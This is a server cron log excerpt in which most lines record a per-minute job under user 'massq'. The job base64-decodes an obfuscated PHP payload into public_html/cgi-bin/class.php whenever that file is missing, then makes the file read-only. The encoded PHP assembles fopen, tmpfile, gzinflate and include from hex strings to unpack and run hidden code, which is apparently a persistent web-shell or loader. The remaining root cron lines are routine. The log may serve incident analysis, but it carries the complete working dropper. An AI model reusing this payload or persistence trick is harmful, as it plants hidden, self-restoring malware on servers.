Nov 15 02:28:01 server CROND[18904]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 02:29:02 server CROND[19181]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 02:30:01 server CROND[19450]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 02:30:01 server CROND[19453]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 02:30:01 server CROND[19452]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 02:30:01 server CROND[19451]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 02:31:01 server CROND[19786]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 02:32:01 server CROND[20055]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 02:33:01 server CROND[20414]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 02:34:01 server CROND[20690]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 02:35:01 server CROND[20965]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 02:35:01 server CROND[20966]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 15 02:35:01 server CROND[20969]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 02:35:01 server CROND[20970]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 02:35:01 server CROND[20971]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 02:36:01 server CROND[21305]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 02:37:01 server CROND[21575]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 02:38:01 server CROND[21945]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 02:39:01 server CROND[22210]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 15 02:39:01 server CROND[22211]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 02:40:01 server CROND[22493]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 02:40:01 server CROND[22495]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 02:40:01 server CROND[22494]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 02:40:01 server CROND[22496]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
